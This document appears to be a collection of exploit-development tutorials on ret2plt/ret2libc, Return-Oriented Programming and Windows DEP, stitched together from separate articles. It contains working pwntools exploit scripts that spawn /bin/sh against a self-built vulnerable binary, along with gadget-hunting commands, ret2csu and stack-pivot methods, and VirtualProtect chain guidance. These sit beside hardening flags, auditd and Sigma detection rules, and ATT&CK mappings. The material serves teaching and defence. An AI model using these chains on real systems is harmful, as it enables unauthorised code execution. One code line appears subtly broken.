The leak is one line of ROP: call puts@plt with puts@got as its argument. That makes puts print the resolved runtime address of puts itself. Since main already calls puts before the overflow (the “Input:” prompt), the GOT slot is guaranteed to be resolved and pointing into libc, not back at the resolver. That timing matters: if you pick a symbol that has never been called under lazy binding, its GOT slot still points into the PLT stub and your “leak” is a useless local address. Leak something you know has already run.
Once you have the runtime address of puts, the libc base is arithmetic:
libc_base = leaked_puts_addr - libc.sym['puts']
From the base you can compute every other libc symbol, including system and the "/bin/sh" string. But the program will keep running after the leak, so you need it to come back for a second payload. Return into main after the puts call. The program re-prompts, and you send the real ret2libc payload with correctly rebased addresses.
For the 32-bit build the leak frame is:
[ 76 padding ][ &puts@plt ][ &main ][ &puts@got ]
^ new EIP ^ return ^ argument to puts
into main (prints its own libc address)

8. Chaining ret2plt to ret2libc: The Two-Payload Pattern
Put both stages in one script. Payload 1 leaks and re-enters main. Payload 2 spawns the shell using addresses computed from the leak.
32-bit full chain
# exploit_ret2plt_ret2libc.py
from pwn import *
elf = context.binary = ELF('./vuln32')
libc = elf.libc
p = process('./vuln32')
OFFSET = 76
# --- PAYLOAD 1: ret2plt leak ---
payload1 = b'A' * OFFSET
payload1 += p32(elf.plt['puts']) # call puts@plt
payload1 += p32(elf.sym['main']) # return into main for a second shot
payload1 += p32(elf.got['puts']) # argument: address of puts's GOT slot
p.recvline()
p.sendline(payload1)
# --- parse the 4-byte leak ---
leak = u32(p.recv(4))
log.success(f'puts @ {hex(leak)}')
libc.address = leak - libc.sym['puts'] # rebase the whole libc
log.success(f'libc base @ {hex(libc.address)}')
# --- PAYLOAD 2: ret2libc with computed addresses ---
p.recvline()
payload2 = b'A' * OFFSET
payload2 += p32(libc.sym['system'])
payload2 += p32(libc.sym['exit'])
payload2 += p32(next(libc.search(b'/bin/sh\x00')))
p.sendline(payload2)
p.interactive()
Setting libc.address in pwntools rebases every symbol lookup automatically, so libc.sym['system'] after the leak returns the correct live address.
64-bit full chain
The 64-bit version threads the pop rdi; ret gadget through both stages and adds the alignment ret before the final system call. Fill in POP_RDI and RET_GADGET from your own ROPgadget output.
# exploit_ret2plt_x64.py
from pwn import *
elf = context.binary = ELF('./vuln64')
libc = elf.libc
p = process('./vuln64')
OFFSET = 72 # confirm with cyclic
POP_RDI = 0x0 # <-- fill from: ROPgadget --binary ./vuln64 | grep "pop rdi"
RET_GADGET = 0x0 # <-- fill from: ROPgadget --binary ./vuln64 | grep ": ret$"
# --- PAYLOAD 1: leak puts via ret2plt ---
payload1 = b'A' * OFFSET
payload1 += p64(POP_RDI)
payload1 += p64(elf.got['puts']) # argument in RDI
payload1 += p64(elf.plt['puts']) # call puts@plt
payload1 += p64(elf.sym['main']) # re-enter main
p.recvline()
p.sendline(payload1)
leak = u64(p.recv(6).ljust(8, b'\x00')) # 6 valid bytes on x86-64
log.success(f'puts @ {hex(leak)}')
libc.address = leak - libc.sym['puts']
# --- PAYLOAD 2: system("/bin/sh") ---
p.recvline()
bin_sh = next(libc.search(b'/bin/sh\x00'))
payload2 = b'A' * OFFSET
payload2 += p64(RET_GADGET) # 16-byte stack alignment fix
payload2 += p64(POP_RDI)
payload2 += p64(bin_sh)
payload2 += p64(libc.sym['system'])
p.sendline(payload2)
p.interactive()
Note the 64-bit leak reads six bytes, not eight. User-space addresses on x86-64 are 48-bit, so the top two bytes are always zero and puts stops at the first null. Pad the six received bytes back up to eight with ljust before unpacking.
9. Edge Cases and Gotchas
| Situation | What Happens | Handling |
|---|---|---|
| Full RELRO | GOT is read-only, so you cannot overwrite a slot | ret2plt leaks still work because you only read the slot, never write it |
| Uncalled symbol | Its GOT slot points at the PLT resolver, not libc | Leak a symbol already invoked before the overflow (puts from the prompt) |
| PIE enabled | The binary’s own PLT/GOT are randomised too | Leak a code pointer first, compute the PIE base, then rebase elf.plt/elf.got |
movaps crash in system | Stack not 16-byte aligned on x86-64 | Prepend a single bare ret gadget before the libc call |
| Remote libc unknown | You cannot resolve system offset locally | Match the leak against libc-database or pwntools LibcSearcher; the low 12 bits of a leak fingerprint the exact build |
-fno-plt build | Calls go through .got directly, no PLT stub | The GOT slot itself is the call target; leak strategy still applies through .got |
The remote-libc case is worth internalising. The last three hex digits of any leaked pointer are page-offset invariant across ASLR runs, so a single leak is enough to identify the precise glibc version in a database of thousands. That is why partial leaks are operationally lethal, and it is a fact defenders should sit with.
10. Common Attacker Techniques
| Technique | Description |
|---|---|
| ret2libc | Redirect a saved return address into a libc function such as system to bypass NX |
| ret2plt | Call puts@plt/printf@plt on a GOT slot to leak a live libc address and defeat ASLR |
| GOT overwrite | With a writable GOT (No/Partial RELRO), overwrite a slot to hijack a later call |
| ret2dl_resolve | Forge relocation/symbol entries to make _dl_runtime_resolve resolve an arbitrary symbol without any leak |
| ROP chaining | String together pop; ret gadgets to set up arguments and call sequences under NX |
11. Defensive Strategies & Detection
Prevention at compile and link time
| Flag | Effect |
|---|---|
-fstack-protector-strong | Inserts a canary that detects the overflow before ret is reached |
-D_FORTIFY_SOURCE=2 | Replaces gets/strcpy with bounds-checked variants at compile time |
-Wl,-z,relro,-z,now | Full RELRO; GOT resolved at startup and marked read-only, killing GOT overwrite |
-pie -fPIE | Randomises the binary base so PLT/GOT are not statically known |
Replace gets with fgets/read + size | Removes the root cause entirely |
At the kernel, keep /proc/sys/kernel/randomize_va_space = 2. On CET-capable hardware, enforced SHSTK breaks classic ret chains because the shadow stack copy of the return address will not match, and IBT forces indirect branches to land on valid endbr64 targets.
Runtime detection on Linux
The reliable tell is the payoff itself: a process that has no business spawning a shell suddenly calls execve("/bin/sh", ...). A compiled C daemon that never legitimately calls system should never exec a shell. Watch it with auditd:
# audit every execve
auditctl -a always,exit -F arch=b64 -S execve -k shell_exec
# audit stack/heap being made executable (ROP stage 2 patterns)
auditctl -a always,exit -F arch=b64 -S mprotect -k mprotect_exec
| Signal | Detail |
|---|---|
execve("/bin/sh") under a network daemon | Primary indicator; correlate ppid/auid |
mprotect with PROT_EXEC | ROP chains that flip page permissions before staging |
| Intel PT branch anomalies | Anomalous branch-to-ret ratios expose ROP flow |
/proc/<pid>/maps change | New executable libc range after an overflow; hook mmap via eBPF kprobes |
For a live demonstration to students, strace the shell spawn so they can see it in the syscall trace:
strace -f -e trace=execve,mprotect ./vuln32
Sigma rule (auditd source)
title: Shell Spawned by Non-Interactive Network Process
status: experimental
logsource:
product: linux
service: auditd
detection:
selection:
type: SYSCALL
syscall: execve
exe|endswith:
- '/bin/sh'
- '/bin/bash'
- '/bin/dash'
filter_legit:
ppid|in:
- <known_shell_parent_pids> # tune per environment
condition: selection and not filter_legit
falsepositives:
- Legitimate shell scripts invoked by daemons
level: high
tags:
- attack.execution
- attack.t1203
If you bridge these labs to Windows PE/ROP, the analogue for detecting a spawned shell is Sysmon Event ID 1 (Process Create, inspect the CommandLine and unexpected parent), with the ETW provider Microsoft-Windows-Kernel-Process as the underlying source. Sysmon Event ID 10 (ProcessAccess) covers memory-scraping analogues, and Event ID 8 (CreateRemoteThread) matters if the payload pivots to injection after landing the shell.

12. Tools for ret2libc and ret2plt Analysis
| Tool | Description | Link |
|---|---|---|
| pwntools | ELF parsing, payload building, leak unpacking | pwntools.com |
| pwndbg / gef / peda | GDB plugins for offsets, PLT/GOT views, live tracing | github.com |
| ROPgadget | Find pop rdi; ret and alignment ret gadgets | github.com |
| ropper | Alternative gadget finder with search syntax | github.com |
| objdump | Disassemble PLT stubs, dump relocations | gnu.org |
| readelf | Inspect ELF sections .plt/.got/.got.plt | gnu.org |
| checksec | Enumerate NX, PIE, RELRO, canary, CET | pwntools.com |
| libc-database / LibcSearcher | Fingerprint remote libc from a leak | github.com |
13. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation for Client Execution | T1203 | Crash/exploit telemetry, unexpected execve post-overflow |
| Exploit Public-Facing Application | T1190 | Applies when the vulnerable binary is a network service |
| Hijack Execution Flow | T1574 | PLT/GOT resolution abuse; monitor GOT integrity and control-flow anomalies |
| Command and Scripting Interpreter: Unix Shell | T1059.004 | Shell spawn from a non-interactive process (auditd execve) |
ATT&CK has no dedicated sub-technique for ret2libc or ROP as of the current Enterprise matrix. T1203 is the closest canonical mapping for exploit-driven code execution, and T1574 covers execution-flow hijacking broadly. Confirm the technique IDs against the live matrix at attack.mitre.org before publishing.
Summary
- Code reuse defeats NX: you never inject shellcode, you return into libc functions that are already mapped and executable.
ret2pltdefeats ASLR by callingputs@pltonputs@gotto leak a live libc address, then rebasing all of libc fromleaked - libc.sym['puts'].- The two-payload pattern is the workhorse: leak and return to
main, then sendsystem("/bin/sh")with computed addresses. - On x86-64, arguments go in
RDIvia apop rdi; retgadget, and a spareretfixes the 16-bytemovapsalignment crash. - Full RELRO and PIE raise the bar but do not close it; the leak still reads a read-only GOT, and a leaked code pointer rebases a PIE binary.
- Detect the payoff, not the chain: an unexpected
execve("/bin/sh")under a daemon, caught by auditd and shipped as the Sigma rule above.
Related Tutorials
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
References
- [d code execution. T1574 covers execution-flow hijacking broadly. Confirm current ATT&CK version at attack.mitre.org
- hacktricks.wiki
- ian.nl
- sharkmoos.medium.com
- manjoos.gitbook.io
- github.com
- github.com
- nandynarwhals.org
Return-Oriented Programming (ROP): Gadgets, Chains, and the ROP Mindset
You’ve got a clean stack overflow. You control the saved return address, you drop in your beautiful execve shellcode, you point RIP at it, and the process dies with a SIGSEGV the instant your first instruction executes. The stack is mapped rw-, not rwx. That’s NX doing its job, and it’s the moment every exploit developer meets Return-Oriented Programming.
Objective: Understand ROP at the instruction level – the
retdispatcher, gadget classification, and calling-convention constraints – then build a working ret2libc chain against a self-authored vulnerable Linux binary, extend it to defeat ASLR, adapt the mindset to WindowsVirtualProtectchains, and pair every stage with concrete detection and hardening a defender can ship today.
1. Why Shellcode Died: DEP, NX, and the Need for ROP
Data Execution Prevention (NX on the hardware side) marks writable memory non-executable. Your injected bytes still sit on the stack; the CPU just refuses to fetch instructions from a page without the execute bit. Injecting code is dead. Reusing code is not.
The idea predates the acronym. Solar Designer’s 1997 ret2libc overwrote a return address with the address of system() and let the C library do the dirty work. Hovav Shacham generalized this in 2007: instead of calling one whole function, chain hundreds of tiny fragments that already live in executable memory, each ending in ret. Shacham’s claim, and it holds up, is that any sufficiently large code base (libc alone qualifies) contains enough of these fragments to be Turing-complete. You never write a single byte of new code. You just rearrange the execution of code that’s already there.
Two properties make ROP work:
- DEP/NX bypass. Every gadget lives in an already-executable page. Nothing new is marked executable, so NX never fires.
- ASLR resistance. ASLR randomizes base addresses, not the relative offsets inside a module. Leak one address from libc and every gadget offset falls into place.
2. The Stack Under the Microscope
To chain gadgets you have to understand exactly what ret does. On x86-64:
call targetpushes the address of the next instruction onto the stack, then jumps totarget.retpops 8 bytes off[rsp]intoRIPand jumps there.
ret is not magic. It’s pop rip. It trusts whatever is at the top of the stack. When you overflow buf and clobber the saved return address, you are literally handing ret its next target. Now extend that: if you place a sequence of addresses on the stack, each pointing at a code fragment that itself ends in ret, then each fragment executes, pops the next address, and jumps. The stack becomes a program counter you control. That is the ROP dispatcher, and it costs the attacker nothing but stack space.
Here is the target we’ll break. Small, honest, deliberately broken.
// vuln.c - compile per stage table below
#include <stdio.h>
#include <string.h>
void win() { /* ret2win warmup target for Stage 0 */ }
void vuln() {
char buf[64];
gets(buf); // no bounds check, on purpose
}
int main() {
puts("ROP Lab - Enter input:");
vuln();
return 0;
}
We compile it in stages so the mitigations come on one at a time:
| Stage | Flags | Mitigations Active |
|---|---|---|
| 0 (warmup) | gcc -o vuln vuln.c -fno-stack-protector -no-pie -z execstack | None |
| 1 (NX on, no PIE) | gcc -o vuln vuln.c -fno-stack-protector -no-pie | NX/DEP |
| 2 (full) | gcc -o vuln vuln.c -fno-stack-protector | NX + PIE/ASLR |
Disable ASLR globally for Stage 1 so addresses stay put while you learn:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

3. What Is a Gadget? Anatomy and Classification
A gadget is a short instruction sequence ending in ret (or another indirect branch) that lives inside existing executable code. You don’t need the assembler to have intended the sequence. Disassemble from a byte in the middle of an instruction and you often find a useful gadget the compiler never wrote on purpose.
These are the archetypes you will actually use:
| Gadget Type | Instructions | Purpose |
|---|---|---|
| Register loader | pop rdi; ret | Load the 1st argument register |
| Multi-register loader | pop rsi; pop rdx; ret | Load 2nd/3rd argument or syscall args |
| Stack pivot | xchg rsp, rax; ret or mov rsp, rbp; pop rbp; ret | Point RSP at attacker-controlled memory |
| syscall dispatcher | syscall; ret (x86-64) or int 0x80 (x86) | Trigger the kernel call once registers are set |
| Write primitive | mov [rdi], rax; ret | Write a controlled value to controlled memory |
| Alignment fix | lone ret | Advance RSP by 8 to satisfy 16-byte SSE alignment |
That last row is not filler. It has eaten more of my afternoons than any other single detail in ROP.
The war story. My first x86-64 ret2libc crashed inside system, not in my chain. Everything looked perfect: rdi held /bin/sh, the address was right, and it still died on a movaps instruction deep in glibc. The System V ABI requires RSP to be 16-byte aligned at the point of a call. glibc’s do_system uses SSE instructions (movaps) that fault on a misaligned stack. My chain left RSP off by 8. The fix is comically small: prepend one extra bare ret gadget before the call. It advances RSP by 8, restoring alignment, and the SSE instruction stops faulting. If your ret2libc dies on movaps and you can’t figure out why, that’s it.
4. Gadget Hunting: Tools and Workflow
Two tools do 95% of the work: ROPgadget and ropper. pwndbg ships ropper integration so you can hunt inside a live debugging session.
# Confirm what you're up against first
file vuln
checksec --file=vuln # pwntools: expect NX enabled, PIE disabled, No canary
# Find pop rdi; ret in the binary itself
ROPgadget --binary vuln --only "pop|ret" | grep "pop rdi"
# Same hunt inside libc (needed for the interesting gadgets)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep "pop rdi"
# The /bin/sh string that lives inside libc
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --string "/bin/sh"
# system() offset
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " system"
# A bare ret for alignment
ROPgadget --binary vuln --only "ret"
Useful flags across the two tools:
| Flag | Tool | Effect |
|---|---|---|
--binary <file> | both | Target file to scan |
--only "pop\|ret" | ROPgadget | Restrict to gadgets built only from these mnemonics |
--string "/bin/sh" | ROPgadget | Locate a literal string |
--ropchain | ROPgadget | Auto-generate an execve chain when possible |
--badbytes "00\|0a" | ropper | Exclude gadgets containing bad bytes (gets stops at \n, so 0x0a is poison) |
--filter / --search | ropper | Regex gadget search |
ropper tends to produce cleaner, deduplicated output and richer semantic search; ROPgadget has the built-in chain generator. I hunt with ropper, sanity-check offsets with ROPgadget.
5. Building Your First Chain: ret2libc on a 64-bit Linux Binary
Stage 1: NX on, no PIE, ASLR disabled. Static addresses everywhere.
Step 1, find the offset. Feed a cyclic pattern, crash it, read where RSP points.
python3 -c "from pwn import *; print(cyclic(150).decode())" | ./vuln
# Under pwndbg after the crash:
# pwndbg> cyclic -l <8 bytes at rsp>
# For a 64-byte buffer + 8-byte saved RBP, the offset to saved RIP is 72.
If you prefer Metasploit’s tooling, pattern_create.rb -l 150 and pattern_offset.rb -q <value> return the same 72.
Step 2, extract your gadgets. Because we compiled -no-pie, pop rdi; ret and the bare ret inside vuln are fixed. Grab the real values from your own ROPgadget output; the addresses below are representative of a small no-PIE ELF and will differ slightly on your build.
0x0000000000401183 : pop rdi ; ret
0x000000000040101a : ret
Step 3, assemble the chain. With ASLR off, libc.address resolves to the base the loader actually used, so system and /bin/sh are computable.
from pwn import *
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Pull these from YOUR ROPgadget output
POP_RDI = 0x401183 # pop rdi ; ret
RET = 0x40101a # bare ret - alignment fix
OFFSET = 72
p = process('./vuln')
# ASLR off -> libc loaded at a fixed base; read it from the running map
libc.address = int(p.libs()[libc.path], 16) if False else libc.address
BIN_SH = next(libc.search(b'/bin/sh\x00'))
SYSTEM = libc.sym['system']
payload = b'A' * OFFSET
payload += p64(RET) # 16-byte align RSP before the call into system
payload += p64(POP_RDI)
payload += p64(BIN_SH)
payload += p64(SYSTEM)
p.recvline()
p.sendline(payload)
p.interactive()
Run it, and you get a shell. The p64(RET) line is the alignment fix from the war story. Leave it out and watch system fault on movaps.
Detection for this stage
There is no shellcode and no new executable memory, so classic AV signatures see nothing. What the host sees is the outcome: a network-facing or non-interactive process suddenly spawns /bin/sh. On Linux, auditd with an execve rule and Sysmon-for-Linux Event ID 1 (process create) both capture the child-shell anomaly. The structural fact of a ROP chain is invisible at the telemetry layer; the behaviour is not.

6. Dealing with Gadget Scarcity: ret2csu and Stack Pivots
Real targets rarely hand you a clean pop rdx; ret. When you need to control rdx (the 3rd argument, mandatory for execve‘s envp or for a write length) and no such gadget exists, reach into __libc_csu_init. It ships in every non-PIE, non-static glibc-linked binary and contains a reliable two-gadget pair.
; Gadget A (csu_init_gadget_b)
pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
; Gadget B (csu_init_gadget_a)
mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8]
The play: use Gadget A to load r13 -> rdx, r14 -> rsi, r15 -> edi, and set r12/rbx so [r12+rbx*8] points at a function pointer you control (a GOT entry works). Gadget B moves those registers into the argument registers and calls through the pointer. Set rbx = 0 so the call resolves to [r12].
There is a subtlety worth committing to memory: after the call returns, __libc_csu_init runs add rbx, 1; cmp rbx, rbp; jne loop. To fall straight through, set rbp = 1 and rbx = 0 so the compare passes on the first pass. Then a stack of padding follows to skip the register-restore epilogue. Getting rbp/rbx wrong sends execution into a loop that re-calls your pointer, which is a genuinely confusing crash the first time you meet it.
Stack pivots solve a different scarcity: not enough room in the overflowed buffer for a full chain. Pivot RSP into a larger, attacker-controlled region (often .data or .bss you’ve pre-seeded via a first-stage write):
0x00000000004011f0 : xchg rsp, rax ; ret
Load your second-stage stack address into rax, hit xchg rsp, rax; ret, and the dispatcher now reads from your staging area. The buffer just needed to hold the pivot.
7. Automating Chains with pwntools ROP Module
Hand-assembling offsets is how you learn. pwntools‘ ROP class is how you move fast once you understand it. It resolves gadgets, handles alignment, and implements ret2csu for you.
from pwn import *
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP(elf)
# High-level: describe intent, let pwntools find gadgets
rop.call('puts', [elf.got['puts']]) # leak puts@GOT via PLT
rop.call('vuln') # loop back for a second input
log.info(rop.dump()) # human-readable chain layout
payload = b'A' * 72
payload += rop.chain()
p = process('./vuln')
p.recvline()
p.sendline(payload)
# Stage 2: parse the leak, compute libc base, build ret2libc
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f'libc base: {hex(libc.address)}')
rop2 = ROP(libc)
rop2.raw(rop2.ret) # alignment
rop2.system(next(libc.search(b'/bin/sh\x00')))
p.sendline(b'A' * 72 + rop2.chain())
p.interactive()
That two-stage flow is the ASLR bypass (Stage 2). Because RELRO is not now on our default build, puts@GOT is populated after the first call and leaks the real runtime address of puts. Subtract puts‘s known offset, and every libc address is yours. When you hit a scarcity wall, rop.ret2csu(edi=..., rsi=..., rdx=...) builds the CSU chain programmatically instead of you laying out r12–r15 by hand.

8. ROP on Windows: VirtualProtect Chains
The mindset transfers directly; the goal shifts. On Windows you rarely ret2libc. You build a chain that calls VirtualProtect (in kernel32.dll) to flip a page holding your shellcode to PAGE_EXECUTE_READWRITE, then return into that shellcode. NX is satisfied because you asked the OS politely to make the page executable.
Build a minimal vulnerable console app and compile it with the stack cookie disabled (/GS-) and CFG off (/guard:cf-) so you can focus on the ROP mechanics rather than fighting three mitigations at once. VirtualProtect takes four arguments (lpAddress, dwSize, flNewProtect, lpflOldProtect). On x64 Windows these go in rcx, rdx, r8, r9, so you need gadgets that load those registers, which changes gadget selection entirely versus the System V rdi/rsi/rdx/rcx order.
Gadget hunting uses the same tools plus one Windows classic:
# Immunity Debugger + mona.py
!mona modules
!mona rop -m "kernel32.dll,ucrtbase.dll" -cpb "\x00\x0a\x0d"
# or cross-check with ROPgadget against the DLL
ROPgadget --binary C:\Windows\System32\kernel32.dll --only "pop|ret"
mona‘s rop command will even draft a VirtualProtect skeleton and flag gadgets containing your bad bytes (-cpb). Debug in x64dbg or WinDbg, set a breakpoint on kernel32!VirtualProtect, and confirm rcx/rdx/r8/r9 hold what you expect before it executes. The calling-convention shift is the single biggest adjustment for anyone coming from Linux ROP.
Calling convention, side by side
| Feature | x86 (32-bit) | x86-64 |
|---|---|---|
| Argument passing | On the stack | Registers, then stack |
| First 4 args (System V) | stack | rdi, rsi, rdx, rcx |
| First 4 args (Windows x64) | stack | rcx, rdx, r8, r9 |
| syscall entry | int 0x80 | syscall |
| Gadget need | fewer pop reg gadgets | many pop reg gadgets |
9. Detection and Defense: Seeing and Stopping ROP
The hard truth first: no telemetry source fires on gadget execution. ROP detection is behavioural. You catch what the chain does, not the chain itself. Detect it structurally in hardware, or detect its outcome in logs.
Structural mitigations
| Mitigation | Mechanism | How It Blocks ROP |
|---|---|---|
| DEP / NX | Non-executable data pages | The precondition that forces ROP; blocks plain shellcode |
| Control Flow Guard (CFG) | Forward-edge CFI; validates indirect call targets against a bitmap | Blocks JOP/COP, not pure ret-chains |
| CET Shadow Stack | Backward-edge CFI; hardware-protected copy of return addresses | Every call/ret mismatch between stack and shadow stack raises an exception – this is the direct ROP killer |
CET IBT (endbr64) | Indirect branch must land on endbr64 | Blocks JOP/COP landing pads |
| ACG | Blocks dynamic code generation in protected processes | Stops ROP-bootstrapped shellcode from being marked executable |
Stack canary (/GS) | Detects smash before ret | Defeats naive overflow; useless once an info leak reveals the canary |
Shadow Stack (CET) is the mitigation that ends the technique as a class: a mismatched return address is detected in hardware regardless of how clever the chain is.
Telemetry that catches the outcome
| Source | Event / Provider | What It Captures |
|---|---|---|
| Microsoft-Windows-Security-Mitigations (ETW) | CFG / CET shadow-stack violation events | The most direct control-flow-attack signal available |
Sysmon Event ID 1 | Process Create | ParentImage anomaly, e.g. cmd.exe spawned by a network service |
Sysmon Event ID 10 | ProcessAccess | OpenProcess with PROCESS_VM_WRITE in multi-stage payloads |
Sysmon Event ID 8 | CreateRemoteThread | Post-ROP pivot into another process |
Sysmon Event ID 25 | ProcessTampering | Hollowing / image tampering post-exploit |
Verify the exact CET/CFG ETW provider event names against current Windows 11 documentation; Microsoft has renamed these across OS builds.
Sigma: catch the shell, not the gadget
title: Suspicious Shell Spawned by Network Service
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith:
- '\httpd.exe'
- '\nginx.exe'
- '\java.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\sh.exe'
condition: selection
falsepositives:
- Legitimate admin scripts
level: high
tags:
- attack.defense_evasion
- attack.t1055
Linux hardening checklist
| Control | Tool / Flag | Effect |
|---|---|---|
| Full ASLR | randomize_va_space = 2 | Forces an info-leak prerequisite |
| PIE | -fpie -pie | Randomizes .text; gadget addresses move per run |
| Stack canary | -fstack-protector-strong | Detects overflow before ret |
| Full RELRO | -Wl,-z,relro,-z,now | GOT read-only; kills GOT-overwrite and complicates leaks |
| seccomp | prctl(PR_SET_SECCOMP, ...) | A working chain still can’t call execve if it’s not whitelisted |
| SafeStack | -fsanitize=safe-stack | Return addresses live on a separate protected stack |
| CET | -fcf-protection=full | Hardware shadow stack + IBT |
Tools
| Tool | Description | Link |
|---|---|---|
| ROPgadget | Gadget finder with auto execve chain generation | github.com/JonathanSalwan/ROPgadget |
| ropper | Semantic gadget search, bad-byte filtering | github.com/sashs/ropper |
| pwntools | Exploit framework with ROP chain builder | docs.pwntools.com |
| pwndbg | GDB plugin with ropper integration and cyclic | pwndbg.re |
| mona.py | Immunity Debugger ROP/chain generator for Windows | github.com/corelan/mona |
| x64dbg / WinDbg | Windows user-mode debuggers | x64dbg.com |
| checksec | Reports NX/PIE/RELRO/canary state | pwntools |
MITRE ATT&CK mapping
ATT&CK has no single “ROP” technique. ROP is a mechanism serving several techniques; map it honestly.
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation for Client Execution | T1203 | Crash telemetry, Security-Mitigations ETW, anomalous child processes |
| Exploitation for Defense Evasion | T1211 | CFG/CET violation events |
| Exploitation for Privilege Escalation | T1068 | Kernel mitigation logs, driver crash telemetry |
| Process Injection | T1055 | Sysmon Event ID 8, Event ID 10 |
| Process Injection: Proc Memory | T1055.009 | /proc/<pid>/mem write access, gadget-based injection |
| Exploit Protection (mitigation) | M1050 | Deploy DEP, CFG, CET, ACG |

10. The ROP Mindset: Thinking Like a Constraint Solver
Once the mechanics click, ROP stops being about memorizing gadgets and becomes a constraint-satisfaction problem. You have a fixed inventory of gadgets (the ones that exist in the target), a fixed goal (registers set to specific values, then a call or syscall), and a set of constraints (bad bytes, alignment, scarce registers). You solve backward from the goal.
Ask, in order: what does the final call need in each register? Which gadget sets the last register cleanly? Does that gadget clobber a register I already set? If gets truncates at 0x0a, is any gadget address or data value poisoned by a \n, and can I substitute an equivalent gadget without that byte? Is RSP 16-byte aligned at the moment of the call? Prefer short gadgets with no side effects: a pop rdi; ret beats a pop rdi; pop rbp; add rsp, 8; ret that forces you to account for junk. Gadget quality is a real metric, measured in side effects and bad bytes.
That backward-planning, constraint-pruning habit is the transferable skill. ret2csu, stack pivots, ret2plt, and the whole family of variants (JOP, COP, ret2csu, and remote Blind ROP) are just this same solver applied under tighter constraints. Learn the solver, not the recipe.
Summary
- ROP defeats DEP/NX by executing code that is already executable, chaining
ret-terminated gadgets into arbitrary behaviour without injecting a single new byte. - The stack is the dispatcher:
retispop rip, so a stack full of gadget addresses is a program you control. - A working 64-bit ret2libc needs only
pop rdi; ret, a/bin/shstring,system, and a bareretfor 16-bytemovapsalignment; scarcity is answered with ret2csu and stack pivots, ASLR with aputs@GOTleak. - Windows chains swap the goal to
VirtualProtectand the ABI torcx/rdx/r8/r9, but the constraint-solver mindset is identical. - Detection is behavioural, not structural – no log fires on a gadget, so catch the outcome (Sysmon
Event ID 1/8/10, Security-Mitigations ETW) and kill the class in hardware with CET shadow stacks, CFG, and full RELRO.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
References
Data Execution Prevention (DEP/NX): Mechanism, Enforcement, and Bypass Motivation
You have EIP control. Clean, deterministic, 276 bytes of A then four bytes that land exactly on your JMP ESP. You point the return at a NOP sled, drop calc.exe shellcode behind it, fire, and… the process dies at your gadget with 0xC0000005. Nothing ran. This is the moment every exploit-dev learner meets DEP, and it is the single most useful crash you will ever cause on purpose.
Objective: Understand how Windows DEP/NX works at the hardware and OS level, how it is enforced per-process and system-wide, why classic shellcode injection fails against it, and what primitives an attacker must obtain to bypass it. You will build a DEP-blocked proof of concept in a lab, confirm the non-executable page in WinDbg, and leave understanding exactly why a ROP chain is the only way forward.
1. Why Shellcode Injection Fails Today
The classic stack overflow recipe is old and simple. Smash the buffer, overwrite the saved return address with a pointer to a JMP ESP (or straight to the stack), and let the CPU walk into your shellcode sitting on the stack. It worked for years because the CPU did not care what kind of memory it was executing. Code, data, stack, heap – all the same to the instruction pointer.
Data Execution Prevention broke that assumption. DEP marks the stack, heaps, and memory pools as non-executable at the page level. When the CPU tries to fetch an instruction from one of those pages, it does not run your shellcode. It faults. The process receives a STATUS_ACCESS_VIOLATION (0xC0000005), and if nothing handles it, the process dies.
Here is the important nuance: DEP does not stop you from taking control of EIP. You still redirect execution wherever you like. It stops the last step – executing bytes you placed in a data region. That distinction is the entire reason Return Oriented Programming exists, and it is where this tutorial ends up.
2. The Hardware Foundation: NX/XD Bit and PTEs
DEP is not primarily a software trick. On any modern CPU it rides on a hardware feature: AMD called it NX (No-Execute), Intel called it XD (Execute Disable). Same bit, different marketing.
Hardware-enforced DEP works on a per-virtual-memory-page basis. Each page has a Page Table Entry (PTE) describing its physical mapping and permissions. On x86-64, bit 63 (the most significant bit) of the 64-bit PTE is the NX/XD flag. When that bit is set, the page holds data only. Any instruction fetch from an address that resolves to that PTE triggers a page fault.
On 32-bit Windows the native PTE is only 32 bits wide and has no room for an NX bit. That is why hardware DEP on 32-bit requires the PAE kernel (Physical Address Extension), which widens PTEs to 64 bits and gives you bit 63 back. Windows automatically loads the PAE kernel when DEP is enabled on a 32-bit box. On 64-bit Windows the kernel supports NX natively, no special mode required.
The fault path is precise. On an execute violation the CPU raises a page fault (#PF) with the error code’s bit 4 (the I/D, instruction/data, bit) set to indicate the fault came from an instruction fetch rather than a normal read or write. Windows translates that into the exception you see in the debugger:
| Field | Value | Meaning |
|---|---|---|
| Exception code | 0xC0000005 | STATUS_ACCESS_VIOLATION |
ExceptionInformation[0] | 8 | Execute violation (distinct from read=0, write=1) |
That 8 in the exception record is how you tell a DEP kill apart from an ordinary bad-pointer crash. Same status code, different reason.

3. Windows DEP: Two Modes
Windows ships DEP in two flavours, and people conflate them constantly.
Hardware-enforced DEP is what we have been describing: the NX/XD PTE bit, enforced by the CPU, covering the stack, default heap, and every mapped region that is not explicitly marked with a PAGE_EXECUTE_* protection.
